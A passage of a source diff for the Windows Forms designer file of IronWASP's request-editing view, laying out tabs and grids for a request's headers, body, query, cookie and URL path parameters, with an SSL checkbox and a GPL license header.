"ASRequestBodyDataFormatColumn"; - this.ASRequestBodyDataFormatColumn.ReadOnly = true; - this.ASRequestBodyDataFormatColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanBodyFormatPluginTypeTabs - // - this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); - this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); - this.ScanBodyFormatPluginTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanBodyFormatPluginTypeTabs.Location = new System.Drawing.Point(0, 0); - this.ScanBodyFormatPluginTypeTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanBodyFormatPluginTypeTabs.Multiline = true; - this.ScanBodyFormatPluginTypeTabs.Name = "ScanBodyFormatPluginTypeTabs"; - this.ScanBodyFormatPluginTypeTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanBodyFormatPluginTypeTabs.SelectedIndex = 0; - this.ScanBodyFormatPluginTypeTabs.Size = new System.Drawing.Size(552, 168); - this.ScanBodyFormatPluginTypeTabs.TabIndex = 0; - // - // BodyTypeFormatPluginInjectionArrayGridTab - // - this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyFormatPluginsParametersGrid); - this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; - this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(544, 142); - this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; - this.BodyTypeFormatPluginInjectionArrayGridTab.Text = "Name/Value View"; - this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; - // - // BodyFormatPluginsParametersGrid - // - this.BodyFormatPluginsParametersGrid.AllowUserToAddRows = false; - this.BodyFormatPluginsParametersGrid.AllowUserToDeleteRows = false; - this.BodyFormatPluginsParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.BodyFormatPluginsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.BodyFormatPluginsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.BodyFormatPluginsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn3, - this.dataGridViewTextBoxColumn4}); - this.BodyFormatPluginsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyFormatPluginsParametersGrid.GridColor = System.Drawing.Color.White; - this.BodyFormatPluginsParametersGrid.Location = new System.Drawing.Point(0, 0); - this.BodyFormatPluginsParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.BodyFormatPluginsParametersGrid.Name = "BodyFormatPluginsParametersGrid"; - this.BodyFormatPluginsParametersGrid.RowHeadersVisible = false; - this.BodyFormatPluginsParametersGrid.Size = new System.Drawing.Size(544, 142); - this.BodyFormatPluginsParametersGrid.TabIndex = 2; - // - // dataGridViewTextBoxColumn3 - // - this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn3.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; - this.dataGridViewTextBoxColumn3.ReadOnly = true; - // - // dataGridViewTextBoxColumn4 - // - this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn4.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; - // - // BodyTypeFormatPluginXMLTab - // - this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXmlBaseSplit); - this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; - this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(544, 142); - this.BodyTypeFormatPluginXMLTab.TabIndex = 1; - this.BodyTypeFormatPluginXMLTab.Text = "Normalized XML View"; - this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; - // - // FormatXmlBaseSplit - // - this.FormatXmlBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatXmlBaseSplit.Location = new System.Drawing.Point(0, 0); - this.FormatXmlBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.FormatXmlBaseSplit.Name = "FormatXmlBaseSplit"; - // - // FormatXmlBaseSplit.Panel1 - // - this.FormatXmlBaseSplit.Panel1.Controls.Add(this.textBox2); - this.FormatXmlBaseSplit.Panel1.Controls.Add(this.ConvertXmlToObjectBtn); - // - // FormatXmlBaseSplit.Panel2 - // - this.FormatXmlBaseSplit.Panel2.Controls.Add(this.ironDataView2); - this.FormatXmlBaseSplit.Size = new System.Drawing.Size(544, 142); - this.FormatXmlBaseSplit.SplitterDistance = 116; - this.FormatXmlBaseSplit.SplitterWidth = 2; - this.FormatXmlBaseSplit.TabIndex = 5; - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox2.Location = new System.Drawing.Point(0, 0); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.Size = new System.Drawing.Size(116, 83); - this.textBox2.TabIndex = 5; - this.textBox2.TabStop = false; - this.textBox2.Text = "You make changes to the XML and then update the changes to the Request body by cl" + - "icking the buttom at the bottom."; - // - // ConvertXmlToObjectBtn - // - this.ConvertXmlToObjectBtn.Dock = System.Windows.Forms.DockStyle.Bottom; - this.ConvertXmlToObjectBtn.Location = new System.Drawing.Point(0, 89); - this.ConvertXmlToObjectBtn.Name = "ConvertXmlToObjectBtn"; - this.ConvertXmlToObjectBtn.Size = new System.Drawing.Size(116, 53); - this.ConvertXmlToObjectBtn.TabIndex = 3; - this.ConvertXmlToObjectBtn.Text = "Convert this XML to object"; - this.ConvertXmlToObjectBtn.UseVisualStyleBackColor = true; - // - // OtherParametersTab - // - this.OtherParametersTab.Controls.Add(this.OtherParametersTabs); - this.OtherParametersTab.Controls.Add(this.ParametersErrorTB); - this.OtherParametersTab.Controls.Add(this.ParametersProgressBar); - this.OtherParametersTab.Location = new System.Drawing.Point(4, 22); - this.OtherParametersTab.Margin = new System.Windows.Forms.Padding(0); - this.OtherParametersTab.Name = "OtherParametersTab"; - this.OtherParametersTab.Size = new System.Drawing.Size(192, 74); - this.OtherParametersTab.TabIndex = 1; - this.OtherParametersTab.Text = "Parameters"; - this.OtherParametersTab.UseVisualStyleBackColor = true; - // - // OtherParametersTabs - // - this.OtherParametersTabs.Controls.Add(this.UrlPathPartsParametersTab); - this.OtherParametersTabs.Controls.Add(this.QueryParametersTab); - this.OtherParametersTabs.Controls.Add(this.CookieParametersTab); - this.OtherParametersTabs.Controls.Add(this.HeadersParametersTab); - this.OtherParametersTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.OtherParametersTabs.Location = new System.Drawing.Point(0, 0); - this.OtherParametersTabs.Margin = new System.Windows.Forms.Padding(0); - this.OtherParametersTabs.MinimumSize = new System.Drawing.Size(50, 50); - this.OtherParametersTabs.Name = "OtherParametersTabs"; - this.OtherParametersTabs.Padding = new System.Drawing.Point(0, 0); - this.OtherParametersTabs.SelectedIndex = 0; - this.OtherParametersTabs.Size = new System.Drawing.Size(192, 74); - this.OtherParametersTabs.TabIndex = 5; - // - // UrlPathPartsParametersTab - // - this.UrlPathPartsParametersTab.Controls.Add(this.UrlPathPartsParametersGrid); - this.UrlPathPartsParametersTab.Location = new System.Drawing.Point(4, 22); - this.UrlPathPartsParametersTab.Margin = new System.Windows.Forms.Padding(0); - this.UrlPathPartsParametersTab.Name = "UrlPathPartsParametersTab"; - this.UrlPathPartsParametersTab.Size = new System.Drawing.Size(184, 48); - this.UrlPathPartsParametersTab.TabIndex = 4; - this.UrlPathPartsParametersTab.Text = "Url Path Parts"; - this.UrlPathPartsParametersTab.UseVisualStyleBackColor = true; - // - // UrlPathPartsParametersGrid - // - this.UrlPathPartsParametersGrid.AllowUserToAddRows = false; - this.UrlPathPartsParametersGrid.AllowUserToDeleteRows = false; - this.UrlPathPartsParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.UrlPathPartsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.UrlPathPartsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.UrlPathPartsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn1, - this.dataGridViewTextBoxColumn2}); - this.UrlPathPartsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.UrlPathPartsParametersGrid.GridColor = System.Drawing.Color.White; - this.UrlPathPartsParametersGrid.Location = new System.Drawing.Point(0, 0); - this.UrlPathPartsParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.UrlPathPartsParametersGrid.Name = "UrlPathPartsParametersGrid"; - this.UrlPathPartsParametersGrid.RowHeadersVisible = false; - this.UrlPathPartsParametersGrid.Size = new System.Drawing.Size(184, 48); - this.UrlPathPartsParametersGrid.TabIndex = 1; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.HeaderText = "POSITION"; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn2.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - // - // QueryParametersTab - // - this.QueryParametersTab.Controls.Add(this.QueryParametersGrid); - this.QueryParametersTab.Location = new System.Drawing.Point(4, 22); - this.QueryParametersTab.Margin = new System.Windows.Forms.Padding(0); - this.QueryParametersTab.Name = "QueryParametersTab"; - this.QueryParametersTab.Size = new System.Drawing.Size(184, 48); - this.QueryParametersTab.TabIndex = 0; - this.QueryParametersTab.Text = "Query"; - this.QueryParametersTab.UseVisualStyleBackColor = true; - // - // QueryParametersGrid - // - this.QueryParametersGrid.AllowUserToAddRows = false; - this.QueryParametersGrid.AllowUserToDeleteRows = false; - this.QueryParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.QueryParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.QueryParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.QueryParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn7, - this.dataGridViewTextBoxColumn8}); - this.QueryParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.QueryParametersGrid.GridColor = System.Drawing.Color.White; - this.QueryParametersGrid.Location = new System.Drawing.Point(0, 0); - this.QueryParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.QueryParametersGrid.Name = "QueryParametersGrid"; - this.QueryParametersGrid.RowHeadersVisible = false; - this.QueryParametersGrid.Size = new System.Drawing.Size(184, 48); - this.QueryParametersGrid.TabIndex = 0; - // - // dataGridViewTextBoxColumn7 - // - this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn7.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; - this.dataGridViewTextBoxColumn7.ReadOnly = true; - // - // dataGridViewTextBoxColumn8 - // - this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn8.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; - // - // CookieParametersTab - // - this.CookieParametersTab.Controls.Add(this.CookieParametersGrid); - this.CookieParametersTab.Location = new System.Drawing.Point(4, 22); - this.CookieParametersTab.Margin = new System.Windows.Forms.Padding(0); - this.CookieParametersTab.Name = "CookieParametersTab"; - this.CookieParametersTab.Size = new System.Drawing.Size(184, 48); - this.CookieParametersTab.TabIndex = 2; - this.CookieParametersTab.Text = "Cookie"; - this.CookieParametersTab.UseVisualStyleBackColor = true; - // - // CookieParametersGrid - // - this.CookieParametersGrid.AllowUserToAddRows = false; - this.CookieParametersGrid.AllowUserToDeleteRows = false; - this.CookieParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.CookieParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CookieParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.CookieParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn11, - this.dataGridViewTextBoxColumn12}); - this.CookieParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.CookieParametersGrid.GridColor = System.Drawing.Color.White; - this.CookieParametersGrid.Location = new System.Drawing.Point(0, 0); - this.CookieParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.CookieParametersGrid.Name = "CookieParametersGrid"; - this.CookieParametersGrid.RowHeadersVisible = false; - this.CookieParametersGrid.Size = new System.Drawing.Size(184, 48); - this.CookieParametersGrid.TabIndex = 1; - // - // dataGridViewTextBoxColumn11 - // - this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn11.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; - this.dataGridViewTextBoxColumn11.ReadOnly = true; - // - // dataGridViewTextBoxColumn12 - // - this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn12.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; - // - // HeadersParametersTab - // - this.HeadersParametersTab.Controls.Add(this.HeadersParametersGrid); - this.HeadersParametersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersParametersTab.Margin = new System.Windows.Forms.Padding(0); - this.HeadersParametersTab.Name = "HeadersParametersTab"; - this.HeadersParametersTab.Size = new System.Drawing.Size(184, 48); - this.HeadersParametersTab.TabIndex = 3; - this.HeadersParametersTab.Text = "Headers"; - this.HeadersParametersTab.UseVisualStyleBackColor = true; - // - // HeadersParametersGrid - // - this.HeadersParametersGrid.AllowUserToAddRows = false; - this.HeadersParametersGrid.AllowUserToDeleteRows = false; - this.HeadersParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.HeadersParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HeadersParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.HeadersParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn13, - this.dataGridViewTextBoxColumn14}); - this.HeadersParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.HeadersParametersGrid.GridColor = System.Drawing.Color.White; - this.HeadersParametersGrid.Location = new System.Drawing.Point(0, 0); - this.HeadersParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.HeadersParametersGrid.Name = "HeadersParametersGrid"; - this.HeadersParametersGrid.RowHeadersVisible = false; - this.HeadersParametersGrid.Size = new System.Drawing.Size(184, 48); - this.HeadersParametersGrid.TabIndex = 1; - // - // dataGridViewTextBoxColumn13 - // - this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn13.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; - this.dataGridViewTextBoxColumn13.ReadOnly = true; - // - // dataGridViewTextBoxColumn14 - // - this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn14.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; - // - // ParametersErrorTB - // - this.ParametersErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ParametersErrorTB.BackColor = System.Drawing.SystemColors.Window; - this.ParametersErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ParametersErrorTB.ForeColor = System.Drawing.Color.Red; - this.ParametersErrorTB.Location = new System.Drawing.Point(346, 9); - this.ParametersErrorTB.Name = "ParametersErrorTB"; - this.ParametersErrorTB.ReadOnly = true; - this.ParametersErrorTB.Size = new System.Drawing.Size(0, 13); - this.ParametersErrorTB.TabIndex = 16; - // - // ParametersProgressBar - // - this.ParametersProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ParametersProgressBar.Location = new System.Drawing.Point(381, 7); - this.ParametersProgressBar.Name = "ParametersProgressBar"; - this.ParametersProgressBar.Size = new System.Drawing.Size(0, 22); - this.ParametersProgressBar.TabIndex = 15; - // - // WaitProgressBar - // - this.WaitProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.WaitProgressBar.Location = new System.Drawing.Point(472, 3); - this.WaitProgressBar.MarqueeAnimationSpeed = 20; - this.WaitProgressBar.Name = "WaitProgressBar"; - this.WaitProgressBar.Size = new System.Drawing.Size(206, 21); - this.WaitProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.WaitProgressBar.TabIndex = 7; - // - // UseSSLCB - // - this.UseSSLCB.AutoSize = true; - this.UseSSLCB.Location = new System.Drawing.Point(7, 6); - this.UseSSLCB.Name = "UseSSLCB"; - this.UseSSLCB.Size = new System.Drawing.Size(89, 17); - this.UseSSLCB.TabIndex = 6; - this.UseSSLCB.Text = "SSL Request"; - this.UseSSLCB.UseVisualStyleBackColor = true; - // - // StatusAndErrorTB - // - this.StatusAndErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.StatusAndErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusAndErrorTB.Location = new System.Drawing.Point(102, 3); - this.StatusAndErrorTB.Name = "StatusAndErrorTB"; - this.StatusAndErrorTB.ReadOnly = true; - this.StatusAndErrorTB.Size = new System.Drawing.Size(576, 13); - this.StatusAndErrorTB.TabIndex = 8; - // - // ironDataView1 - // - this.ironDataView1.AutoSize = true; - this.ironDataView1.Dock = System.Windows.Forms.DockStyle.Fill; - this.ironDataView1.Location = new System.Drawing.Point(0, 0); - this.ironDataView1.Margin = new System.Windows.Forms.Padding(0); - this.ironDataView1.Name = "ironDataView1"; - this.ironDataView1.ReadOnly = false; - this.ironDataView1.Size = new System.Drawing.Size(674, 194); - this.ironDataView1.TabIndex = 1; - // - // ironDataView2 - // - this.ironDataView2.AutoSize = true; - this.ironDataView2.Dock = System.Windows.Forms.DockStyle.Fill; - this.ironDataView2.Location = new System.Drawing.Point(0, 0); - this.ironDataView2.Margin = new System.Windows.Forms.Padding(0); - this.ironDataView2.Name = "ironDataView2"; - this.ironDataView2.ReadOnly = false; - this.ironDataView2.Size = new System.Drawing.Size(426, 142); - this.ironDataView2.TabIndex = 1; - // - // ironDataView3 - // - this.ironDataView3.AutoSize = true; - this.ironDataView3.Dock = System.Windows.Forms.DockStyle.Fill; - this.ironDataView3.Location = new System.Drawing.Point(0, 0); - this.ironDataView3.Margin = new System.Windows.Forms.Padding(0); - this.ironDataView3.Name = "ironDataView3"; - this.ironDataView3.ReadOnly = false; - this.ironDataView3.Size = new System.Drawing.Size(674, 194); - this.ironDataView3.TabIndex = 2; - // - // ModRequestView - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.Controls.Add(this.BaseTabs); - this.Controls.Add(this.WaitProgressBar); - this.Controls.Add(this.UseSSLCB); - this.Controls.Add(this.StatusAndErrorTB); - this.Name = "ModRequestView"; - this.Size = new System.Drawing.Size(682, 250); - this.BaseTabs.ResumeLayout(false); - this.HeadersTab.ResumeLayout(false); - this.HeadersTab.PerformLayout(); - this.BodyTab.ResumeLayout(false); - this.BodyTab.PerformLayout(); - this.BodyParametersTab.ResumeLayout(false); - this.BodyParametersFormatTypeTabs.ResumeLayout(false); - this.BodyTypeNormalTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.BodyNormalTypeParametersGrid)).EndInit(); - this.BodyTypeFormatPluginTab.ResumeLayout(false); - this.ASRequestBodyTabSplit.Panel1.ResumeLayout(false); - this.ASRequestBodyTabSplit.Panel2.ResumeLayout(false); - this.ASRequestBodyTabSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); - this.ScanBodyFormatPluginTypeTabs.ResumeLayout(false); - this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).EndInit(); - this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel1.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel1.PerformLayout(); - this.FormatXmlBaseSplit.Panel2.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel2.PerformLayout(); - this.FormatXmlBaseSplit.ResumeLayout(false); - this.OtherParametersTab.ResumeLayout(false); - this.OtherParametersTab.PerformLayout(); - this.OtherParametersTabs.ResumeLayout(false); - this.UrlPathPartsParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).EndInit(); - this.QueryParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).EndInit(); - this.CookieParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).EndInit(); - this.HeadersParametersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage HeadersTab; - private System.Windows.Forms.TabPage BodyTab; - private System.Windows.Forms.TabPage BodyParametersTab; - internal System.Windows.Forms.TabControl BodyParametersFormatTypeTabs; - private System.Windows.Forms.TabPage BodyTypeNormalTab; - internal System.Windows.Forms.DataGridView BodyNormalTypeParametersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; - private System.Windows.Forms.TabPage BodyTypeFormatPluginTab; - private System.Windows.Forms.SplitContainer ASRequestBodyTabSplit; - internal System.Windows.Forms.DataGridView FormatPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodyDataFormatSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyDataFormatColumn; - internal System.Windows.Forms.TabControl ScanBodyFormatPluginTypeTabs; - private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; - internal System.Windows.Forms.DataGridView BodyFormatPluginsParametersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; - private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; - private System.Windows.Forms.SplitContainer FormatXmlBaseSplit; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Button ConvertXmlToObjectBtn; - private System.Windows.Forms.TabPage OtherParametersTab; - private System.Windows.Forms.TabControl OtherParametersTabs; - private System.Windows.Forms.TabPage UrlPathPartsParametersTab; - internal System.Windows.Forms.DataGridView UrlPathPartsParametersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.TabPage QueryParametersTab; - internal System.Windows.Forms.DataGridView QueryParametersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; - private System.Windows.Forms.TabPage CookieParametersTab; - internal System.Windows.Forms.DataGridView CookieParametersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; - private System.Windows.Forms.TabPage HeadersParametersTab; - internal System.Windows.Forms.DataGridView HeadersParametersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; - private System.Windows.Forms.TextBox ParametersErrorTB; - private System.Windows.Forms.ProgressBar ParametersProgressBar; - private System.Windows.Forms.ProgressBar WaitProgressBar; - private System.Windows.Forms.CheckBox UseSSLCB; - private System.Windows.Forms.TextBox StatusAndErrorTB; - internal IronDataView.IronDataView ironDataView1; - internal IronDataView.IronDataView ironDataView2; - internal IronDataView.IronDataView ironDataView3; - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ModRequestView + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.HeadersTab = new System.Windows.Forms.TabPage(); + this.BodyTab = new System.Windows.Forms.TabPage(); + this.BodyParametersTab = new System.Windows.Forms.TabPage(); + this.BodyParametersFormatTypeTabs = new System.Windows.Forms.TabControl(); + this.BodyTypeNormalTab = new System.Windows.Forms.TabPage(); + this.BodyNormalTypeParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTypeFormatPluginTab = new System.Windows.Forms.TabPage(); + this.ASRequestBodyTabSplit = new System.Windows.Forms.SplitContainer(); + this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestBodyDataFormatSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestBodyDataFormatColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanBodyFormatPluginTypeTabs = new System.Windows.Forms.TabControl(); + this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); + this.BodyFormatPluginsParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); + this.FormatXmlBaseSplit = new System.Windows.Forms.SplitContainer(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.ConvertXmlToObjectBtn = new System.Windows.Forms.Button(); + this.OtherParametersTab = new System.Windows.Forms.TabPage(); + this.OtherParametersTabs = new System.Windows.Forms.TabControl(); + this.UrlPathPartsParametersTab = new System.Windows.Forms.TabPage(); + this.UrlPathPartsParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.QueryParametersTab = new System.Windows.Forms.TabPage(); + this.QueryParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn7 = 